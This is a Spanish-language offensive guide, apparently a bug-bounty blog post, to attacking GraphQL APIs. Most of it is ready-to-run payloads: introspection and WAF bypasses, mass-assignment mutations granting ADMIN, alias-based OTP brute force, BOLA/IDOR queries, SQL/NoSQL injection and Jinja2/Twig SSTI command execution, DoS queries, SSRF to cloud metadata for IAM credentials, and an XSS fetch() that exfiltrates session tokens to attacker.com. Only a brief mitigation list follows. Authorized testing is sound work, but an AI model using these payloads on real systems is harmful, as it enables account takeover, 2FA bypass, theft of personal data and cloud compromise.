1. ¿Qué es GraphQL y cómo funciona?

GraphQL se ha convertido en un estándar para las API modernas gracias a su flexibilidad y eficiencia. Sin embargo, esa misma flexibilidad genera una amplia superficie de ataque cuando la seguridad no se aplica adecuadamente. A diferencia de REST, GraphQL expone un único punto de conexión con un lenguaje de consulta muy completo, lo que hace que los controles de seguridad tradicionales resulten insuficientes. Este artículo describe una metodología ofensiva completa: desde el descubrimiento hasta la explotación y el encadenamiento de vulnerabilidades.

1.1 Operaciones principales

|Operación    |Método HTTP |Propósito               |Vector de ataque principal            |
|-------------|------------|------------------------|--------------------------------------|
|query        |POST / GET  |Recuperar datos         |IDOR/BOLA, data exposure, DoS         |
|mutation     |POST        |Crear/modificar/eliminar|Mass assignment, privilege escalation |
|subscription |WebSocket   |Tiempo real             |Auth bypass, data leakage en WebSocket|
|batch        |POST (array)|Múltiples ops           |Rate limit bypass, amplification      |

1.2 Arquitectura típica (Stack moderno Cloud-Native)

Cliente → CDN/WAF (Cloudflare/AWS Shield) → API Gateway (Kong/AWS API GW)
                                                    ↓
                                GraphQL Server (Apollo/Yoga/Hasura/AppSync)
                                                    ↓
                         ORM / Resolvers → DB (PostgreSQL/MongoDB/DynamoDB)
                                                    ↓
                                 Microservicios internos / S3 / IAM

Punto crítico: Los resolvers son la capa más frecuentemente vulnerable. Cada campo puede tener su propia lógica de autorización o carecer completamente de ella. En arquitecturas con múltiples microservicios, el GraphQL Gateway puede asumir incorrectamente que los servicios downstream validan autorización.

1.3 Modelo de Autorización: Dónde Fallan las Apps

Query recibida → Parser → Validation → Execution → Resolvers
                                                        ↓
                                          [AQUÍ ocurren el 90% de los fallos]
                                          - Resolver A valida
                                          - Resolver B (hijo) NO valida
                                          - Resolver C asume el padre validó

2. Descubrimiento y Fingerprinting

2.1 Endpoint Hunting

  • Rutas estándar:
/graphql
/api/graphql
/v1/graphql
/v2/graphql
/query
/gql
/data
/api/v1/query
  • Rutas específicas por framework:
/graphql/console          # GraphiQL IDE (desarrollo)
/___graphql               # Gatsby / Next.js
/altair                   # Altair GraphQL client
/playground               # Apollo Server (dev)
/__graphql                # Rails graphql-ruby
/graphiql                 # GraphiQL genérico
/graphql-explorer         # GitHub-style
  • APIs modernas / microservicios:
/api/public/graphql
/internal/graphql
/admin/graphql            # Alta probabilidad de endpoints no autenticados
/service/graphql
/hasura/v1/graphql        # Hasura específico
/v1/graphql               # Hasura / AWS AppSync pattern
  • Rutas en headers y respuestas HTTP:
# Buscar en headers de respuesta
curl -I https://target.com/api/ | grep -i "graphql\|apollo\|hasura"
 
# Buscar en JS bundles
grep -E "(graphql|gql|apollo)" main.*.js | grep -oE '"[^"]*graphql[^"]*"'
 
# Buscar en source maps
curl https://target.com/static/js/main.chunk.js.map | jq '.sources[]' | grep -i graphql
  • Subdominios de alto valor en Bug Bounty:
api.target.com/graphql
graph.target.com/
data.target.com/query
graphql.target.com/
internal-api.target.com/graphql    # Frecuentemente sin auth
dev-api.target.com/graphql         # Entornos de staging expuestos

2.2 Fingerprinting de Motor

# Payload universal de fingerprint
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { error_fingerprint }"}'

Tabla de errores por motor

Fingerprint por headers de respuesta:

curl -s -I https://target.com/graphql | grep -iE "x-powered-by|server|x-apollo|x-hasura"
# Apollo Server: X-Apollo-Server-*
# Hasura: X-Hasura-*
# AWS AppSync: x-amzn-RequestId

2.3 Introspección: Descubrimiento de Schema

  • Query completa de introspección
query IntrospectionFull {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      kind
      name
      fields {
        name
        args { name type { name kind ofType { name kind } } }
        type { name kind ofType { name kind } }
      }
      inputFields { name type { name kind } }
      enumValues { name }
    }
    directives { name locations args { name type { name } } }
  }
}
  • Herramientas:
# InQL (Burp Suite extension) — recomendado
pip install inql
inql -t https://target.com/graphql
 
# clairvoyance (cuando introspección está OFF)
pip install clairvoyance
clairvoyance https://target.com/graphql -o schema.json
 
# graphw00f (fingerprint avanzado)
python3 graphw00f.py -d -t https://target.com/graphql
 
# graphql-cop (security audit automatizado)
pip install graphql-cop
graphql-cop -t https://target.com/graphql -o json

3. Bypass de Introspección (WAF y Restricciones)

3.1 Métodos de Bypass por Categoría

A. Bypass por Directivas

  • Método 1: skip directive
query { __schema @skip(if: false) { types { name } } }
  • Método 2: Inline fragments
query { ... on Query { __schema { types { name } } } }
  • Método 3: Fragment spread
fragment s on __Schema { types { name } }
query { __schema { ...s } }

B. Bypass con __type en lugar de __schema

# Menos restrictivo que __schema en muchos WAFs
query { __type(name: "Query") { fields { name type { name kind } } } }
query { __type(name: "Mutation") { fields { name } } }
query { __type(name: "User") { fields { name type { name } } } }
 
# Enumerar tipos conocidos para reconstruir schema
query { __type(name: "UserRole") { enumValues { name } } }
query { __type(name: "SubscriptionPlan") { enumValues { name } } }

C. No-Introspection Discovery (Clairvoyance Method)

# Enviar campos inexistentes para obtener sugerencias
query { admi }     # → "Did you mean 'admin'?"
query { useR }     # → "Did you mean 'user'?"
query { createUs } # → "Did you mean 'createUser'?"

D. Bypass via HTTP Headers

# Algunos WAFs filtran por ruta pero no por header
POST /graphql HTTP/1.1
X-Apollo-Operation-Name: IntrospectionQuery
X-GraphQL-Client-Version: 1.0
 
# Cambiar User-Agent para parecer IDE
User-Agent: graphql-playground/2.0
User-Agent: Apollo-Playground/1.0
User-Agent: GraphiQL/0.11.0

4. Metodologías de Explotación

4.1 Mass Assignment en Mutations (Critical)

Principio: Los argumentos en mutaciones raramente están completamente validados server-side, especialmente campos sensibles.

  • Paso 1: Enumerar argumentos disponibles via introspección
query {
  __type(name: "UpdateUserInput") {
    inputFields {
      name
      type { name kind }
      description  # ← A veces revela info sensible
    }
  }
}
  • Paso 2: Intentar campos no expuestos en la UI
mutation {
  updateUser(input: {
    id: "me",
    role: "ADMIN",
    isVerified: true,
    emailVerified: true,
    twoFactorEnabled: false,
    subscriptionTier: "ENTERPRISE",
    credits: 999999,
    internalNotes: "test",
    featureFlags: ["BETA_ALL", "ADMIN_PANEL"]
  }) {
    id role isVerified
  }
}
  • Paso 3: Campos por industria y stack
E-commerce:     balance, credits, discount_rate, tier, referral_bonus
SaaS:           plan, seats, features[], trial_end_date, api_quota
Fintech:        kyc_status, verified, limit_override, risk_score
Healthcare:     access_level, clearance, physician, hipaa_authorized
Crypto/Web3:    wallet_verified, kyc_level, trading_limit, withdrawal_limit
EdTech:         certificate_issued, course_completed, subscription_end

Campos de alto impacto a buscar siempre:*

role, roles[], permissions[], is_admin, isAdmin, admin
is_verified, emailVerified, phone_verified, kyc_approved
subscription_plan, tier, account_type, plan_id
balance, credits, tokens, quota, limit
internal, internal_note, debug_mode, feature_flags[]
password (en mutations de creación), two_fa_secret
organizationRole, teamRole, workspacePermissions

4.2 Alias-Based Brute Force (High → Critical con Rate Limit Bypass)

Bypass de rate limit con múltiples intentos en 1 request:

mutation BruteForceOTP {
  a1: verifyOTP(userId: "victim@email.com", code: "000000") { success token }
  a2: verifyOTP(userId: "victim@email.com", code: "000001") { success token }
  a3: verifyOTP(userId: "victim@email.com", code: "000002") { success token }
  # ... hasta cubrir el espacio completo
}

Casos de uso para brute force:

  • OTP / 2FA codes (6 dígitos = 1,000,000 combinaciones, en batches de 500)
  • Códigos de invitación (alfanuméricos cortos)
  • Cupones de descuento
  • Tokens de reset de contraseña cortos
  • PINs de aplicaciones bancarias
  • Códigos de verificación de email

4.3 BOLA/IDOR en Resolvers Anidados (High/Critical)

Distinción importante para reportes:

  • IDOR clásico: Acceso directo por ID predecible (user(id: "123"))
  • BOLA (Broken Object Level Auth): El objeto se accede via relaciones donde la autorización no se propaga correctamente Patrón de explotación BOLA: El objeto raíz valida, los hijos NO:
query NestedBOLA {
  myProfile {          # Valida: Eres tú
    orders {           # Valida: Son tus órdenes
      items {          # NO valida: ¿EstOs items son de tus órdenes?
        product {
          internalCost  # Dato interno accesible
          supplierInfo {
            contactEmail
            contractPrice
          }
        }
      }
    }
  }
}

Escalado: Acceso a datos de otros usuarios vía relaciones:**

query CrossUserDataLeak {
  myPosts {
    comments {
      author {
        id
        email             # Email de todos los comentaristas
        phone             # Teléfono
        lastLoginIp       # IP del último login
        privateMessages { # Accesible desde esta relación?
          content
          recipient { email }
        }
        paymentMethods {  # PII financiero
          last4
          type
          billingAddress { street city }
        }
      }
    }
  }
}

Técnica de enumeración de IDs con alias:

query EnumerateUsers {
  u1: user(id: "1") { email role createdAt lastLogin }
  u2: user(id: "2") { email role createdAt lastLogin }
  u3: user(id: "3") { email role createdAt lastLogin }
  # Con alias puedes enumerar masivamente en una sola request
}

BOLA en mutations (crítico para reportes):

# Modificar el recurso de otro usuario sin ser propietario
mutation BOLAMutation {
  updateOrder(
    id: "OTHER_USER_ORDER_ID",  # ID de orden de otro usuario
    status: "CANCELLED"
  ) {
    id status user { email }
  }
}
 
# Acceder a archivos/documentos de otro usuario
mutation DeleteOtherUserFile {
  deleteDocument(documentId: "VICTIM_DOC_ID") {
    success
    deletedBy { id email }
  }
}

4.4 GraphQL Injection (SQL / NoSQL / SSTI)

SQL Injection via Argumentos

  • Detección básica:
query { users(filter: "' OR '1'='1") { id email } }
query { users(name: "admin'--") { id email password } }
  • Time-based blind (PostgreSQL):
query { users(name: "' OR pg_sleep(5)--") { id } }
  • UNION-based:
query { users(name: "' UNION SELECT username,password,3,4 FROM admin_users--") { id } }

NoSQL Injection (MongoDB con GraphQL)

  • MongoDB operator injection:
query { users(filter: "{\"$gt\": \"\"}") { id email } }
query { user(where: {password: {_gt: ""}}) { id token } }
  • Hasura-specific (sintaxis de filtros de Hasura):
query {
  users(where: {
    password: {_regex: ".*"}
  }) {
    id email password_hash
  }
}

SSTI via GraphQL Arguments

  • Si el backend usa template engines
query { renderTemplate(template: "{{7*7}}") { output } }
query { renderTemplate(template: "${7*7}") { output } }
query { generateReport(title: "#{7*7}") { content } }
  • SSTI específico por motor
# Jinja2 (Python):
query { render(tpl: "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}") { result } }
# Twig (PHP):
query { render(tpl: "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}") { result } }

4.5 Batch Query Amplification (DoS + Data Extraction)

# Un solo request = 100 operaciones de DB
query BatchAmplification {
  r1: user(id: "1") { email profile { bio posts { title content } } }
  r2: user(id: "2") { email profile { bio posts { title content } } }
  # ... hasta r100
}
  • DoS via Query Complexity:
# Nested amplification exponencial
query ExponentialComplexity {
  users {           # 100 users
    friends {       # × 100 friends = 10,000
      posts {       # × 10 posts = 100,000
        comments {  # × 10 comments = 1,000,000 resolvers
          author { id email }
        }
      }
    }
  }
}

4.6 File Upload via Mutations

# GraphQL Multipart Request Spec (graphql-upload)
mutation UploadMalicious($file: Upload!) {
  uploadAvatar(file: $file) {
    url
    filename
  }
}

4.7 Subscriptions: Vector Frecuentemente Ignorado (High)

  • Acceso no autorizado a datos en tiempo real:
subscription AdminStream {
  adminEvents {      # ← ¿Valida que eres admin?
    type
    payload
    affectedUserId
    internalData
  }
}
  • Leak de datos sensibles via subscription:
subscription AllOrders {
  orderCreated {     # ← Todos los pedidos, no solo los tuyos
    id
    userId
    items { price }
    paymentInfo {
      last4
      cardType
    }
  }
}

Condiciones para CSRF exitoso:

  1. El endpoint acepta Content-Type: application/x-www-form-urlencoded o text/plain
  2. No hay validación de Origin / Referer
  3. La autenticación es basada en cookies (no Bearer token)
  4. No hay token CSRF explícito

5. Bypass de WAFs y Defensas Modernas

5.1 Bypass por Variables JSON (El más efectivo — Basado en Comportamiento)

{
  "query": "mutation Op($v: String!, $r: String!) { modifyUserRole(id: $v, role: $r) { status } }",
  "variables": {
    "v": "victim_user_id",
    "r": "ADMIN"
  }
}

Por qué funciona: El WAF inspecciona el string de la query buscando palabras clave, pero el payload malicioso está en el bloque variables como JSON estático — no como parte de la query string que el WAF parsea.

5.2 Bypass por Formato de la Query

  • Método 1: Formateo alternativo (whitespace)
query{user(id:"1"){email}}          # Sin espacios
query  {  user ( id : "1" )  { email } }  # Con espacios extra
  • Método 2: Comentarios embebidos
query { user(id: "1" #comment
) { email } }
  • Método 3: Aliases con nombres ofuscados
query {
  x: __schema { types { name } }  # Alias para evadir detección de __schema
}
  • Método 4: Fragments para ofuscar
fragment F on Query {
  __schema { types { name } }
}
query { ...F }
  • Método 5: Inline fragments en __typename
query {
  __typename
  ... on Query { __schema { types { name } } }
}

5.3 Bypass de Depth Limiting

# Si el servidor limita depth=5, usar aliases para paralelizar
query {
  # En lugar de anidar, usa múltiples queries paralelas con alias
  path1: user(id: "1") { id email }
  path2: post(id: "1") { author { email } }
  path3: comment(id: "1") { post { author { email } } }
}

5.4 Bypass de Persisted Queries

  • Algunos servidores solo aceptan queries pre-registradas (APQ) para ellos se puede hacer un bypass para explotar el proceso de registro
# Paso 1: Registrar query maliciosa como persisted
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { modifyUserRole(id: \"me\", role: \"ADMIN\") { status } }",
    "extensions": {
      "persistedQuery": {
        "version": 1,
        "sha256Hash": "register_new"
      }
    }
  }'
# Paso 2: Si el servidor acepta el registro, usar el hash para ejecutar

5.5 Bypass de Content Security Policy (CSP) via GraphQL

Si existe un endpoint GraphQL que devuelve datos controlables por usuario y hay un XSS, usar fetch() para exfiltrar desde dominio confiable

// En un contexto de XSS:
fetch('https://target.com/graphql', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    query: `{ currentUser { id email role sessionTokens { value } } }`
  })
}).then(r => r.json())
  .then(d => fetch('https://attacker.com/collect?d=' + btoa(JSON.stringify(d))));

6. Estrategia de Encadenamiento (Vulnerability Chaining)

Chain 1: Introspection → Mass Assignment → Account Takeover

  1. Bypass introspection → Descubres mutación modifyUserRole
  2. Mass Assignment → Elevas tu cuenta a ADMIN
  3. Admin Access → Acceso a panel de gestión de usuarios
  4. Resultado: Account Takeover de cualquier usuario = Critical

Chain 2: IDOR + Subscriptions → Real-time Data Exfiltration

  1. Descubres subscription orderUpdated sin validación de propiedad
  2. Te suscribes a eventos de TODOS los usuarios
  3. Recibes en tiempo real: datos de pago, emails, direcciones
  4. Resultado: Mass PII Leakage = Critical (GDPR implications)

Chain 3: GraphQL Injection → SSRF → Internal Network Access

  • Si el resolver hace llamadas a servicios internos basándose en el input:
query {
  fetchExternalData(url: "http://169.254.169.254/latest/meta-data/")
  { content }
}
  • Escalado a SSRF via argument injection en URLs
query {
  getUserAvatar(userId: "' UNION SELECT 'http://internal-service/admin'--")
  { url }
}
  • Pasos:
1. SQL/NoSQL Injection en field de URL → SSRF
2. SSRF → Acceso a metadata de AWS/GCP/Azure (169.254.169.254)
3. Metadata → Credenciales IAM
4. Credenciales → Acceso a S3, RDS, secretos
5. Resultado: Full cloud infrastructure compromise = Critical

Chain 4: Alias Brute Force → 2FA Bypass → Privileged Access

  1. Alias brute force en endpoint de verificación de OTP
  2. Bypass de 2FA para cuenta con privilegios
  3. Acceso a funcionalidades administrativas
  4. Resultado: Authentication Bypass + Privilege Escalation = Critical

Chain 5: File Upload → SSRF → Internal Service Discovery

  1. Upload de SVG malicioso con referencia SSRF <svg><image href="http://internal-service:8080/admin"/></svg>
  2. El servidor renderiza/procesa el SVG y hace la request interna
  3. Respuesta del servicio interno devuelta en la URL del avatar
  4. Resultado: SSRF → Internal network enumeration = High/Critical

Business Impact

Mass Assignment (Privilege Escalation)

Impacto Empresarial: La ausencia de validación en argumentos de mutaciones permite a cualquier usuario autenticado elevar sus privilegios a ADMIN mediante una única solicitud HTTP. Esto compromete el modelo de control de acceso completo de la plataforma. En términos de negocio: acceso no autorizado a datos de todos los clientes, capacidad de modificar/eliminar cualquier registro, y potencial fraude financiero si existen campos de balance/créditos modificables. Estimación de pérdida económica: desde costes de respuesta a incidente hasta sanciones regulatorias GDPR/CCPA

Alias Brute Force (2FA/OTP Bypass)

Impacto Empresarial: El bypass de la autenticación de dos factores mediante el abuso de aliases de GraphQL elimina la capa de seguridad adicional de TODOS los usuarios de la plataforma. Un atacante puede comprometer cuentas de alto valor (ejecutivos, financiero, soporte) mediante un ataque automatizado de bajo costo. La reputación de la plataforma y las obligaciones de cumplimiento (SOC2, ISO27001) quedan directamente comprometidas.

8. Proof of Concept: Escalada de Privilegios Crítica (Mejorado)

PoC Completo: De Usuario Normal a ADMIN

Paso 1: Reconocimiento inicial

# Verificar si introspección está habilitada
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <tu_token>" \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq .

Paso 2: Si introspección está bloqueada → Clairvoyance

clairvoyance https://target.com/graphql \
  -H "Authorization: Bearer <tu_token>" \
  -o discovered_schema.json \
  -w /usr/share/wordlists/graphql-fields.txt

Paso 3: Enumerar inputs de mutaciones

query {
  __type(name: "UpdateUserInput") {
    inputFields { name type { name kind ofType { name } } }
  }
}

Paso 4: Identificar campos sensibles en respuesta

{
  "data": {
    "__type": {
      "inputFields": [
        {"name": "id", "type": {"name": "ID"}},
        {"name": "username", "type": {"name": "String"}},
        {"name": "email", "type": {"name": "String"}},
        {"name": "role", "type": {"name": "UserRole"}},     // ← TARGET
        {"name": "isVerified", "type": {"name": "Boolean"}} // ← TARGET
      ]
    }
  }
}

Paso 5: Verificación de escalada

# Confirmar acceso a recursos administrativos
query VerifyAdmin {
  adminPanel {
    totalUsers
    systemConfig { key value }
    auditLog { userId action timestamp }
  }
}

Anatomía de una Query GraphQL

query OperationName($var: Type = "default") {
│      │              │      │    │
│      │              │      │    └─ Valor por defecto
│      │              │      └─ Tipo del argumento
│      │              └─ Variable (reutilizable)
│      └─ Nombre de la operación (opcional, útil para logs)
└─ Tipo de operación: query | mutation | subscription
 
  fieldName(arg: $var, inlineArg: "value") {
    subField1
    subField2 {
      nestedField
    }
    aliasName: anotherField  # ← alias
    ...fragmentName          # ← spread de fragment
    ... on TypeName {        # ← inline fragment (polimorfismo)
      specificField
    }
  }
}

10. Mitigación de la Vulnerabilidad

  • Deshabilitar introspección en producción
  • Límites de profundidad y complejidad
  • Autorización a nivel de campo con graphql-shield
  • Allowlist de campos modificables (Anti Mass Assignment)
  • Rate limiting por operación

11. Tablas de Referencia Rápida

Tabla: Vulnerabilidades GraphQL por Severidad

|Vulnerabilidad                   |Severidad típica |CVSS aprox |Frecuencia   |
|---------------------------------|---------------- |-----------|-------------|
|Mass Assignment                  |Critical         |9.0–9.8    |Media        |
|BOLA en resolvers anidados       |High/Critical    |7.5–9.1    |Media-Alta   |
|Alias Brute Force                |High/Critical    |7.5–9.0    |Baja         |
|SQL/NoSQL Injection via args     |Critical         |8.5–10.0   |Baja         |
|SSRF via field injection         |Critical         |8.5–9.8    |Baja         |
|Subscription sin auth            |High/Critical    |7.0–9.0    |Baja         |
|CSRF en mutations                |High             |6.5–8.0    |Media        |
|Batch data extraction            |High             |7.0–8.5    |Media-Alta   |
|File upload + SSRF               |High/Critical    |7.5–9.0    |Media        |
|Query Depth DoS                  |Medium/High      |5.3–7.4    |Media        |
|Introspección habilitada en prod |Low/Info         |3.1–5.3    |Alta         |
|JWT claim injection              |High/Critical    |7.5–9.1    |Baja         |
|Federation _service SDL leak     |Low/Medium       |3.5–5.5    |Media        |

Tabla: Herramientas por Fase

|Fase              |Herramienta                 |Uso                      |Install                   |
|------------------|----------------------------|------------------------ |--------------------------|
|Discovery         |ffuf, dirsearch             |Endpoint hunting         |apt install ffuf          |
|Fingerprint       |graphw00f                   |Identificar motor        |pip install graphw00f     |
|Schema recon      |InQL (Burp), graphql-voyager|Mapear schema completo   |Burp Extension            |
|Schema recon      |clairvoyance                |Fuerza bruta de campos   |pip install clairvoyance  |
|Security audit    |graphql-cop                 |Audit automatizado       |pip install graphql-cop   |
|Exploitation      |Burp Suite + GraphQL tab    |Manual testing           |—                         |
|Automation        |python-graphql-client       |Scripts de explotación   |pip install gql           |
|WebSocket testing |wscat, Burp WebSocket       |Testing de subscriptions |npm install -g wscat      |
|Hasura specific   |hasura-cli                  |Admin API access         |npm install -g hasura-cli |
|Recon JS bundles  |trufflehog, gitleaks        |API keys en código       |pip install trufflehog    |

Conéctate conmigo

Support Me ☕

Si esto te ha resultado útil, te agradecería que me siguieras y apoyaras este contenido.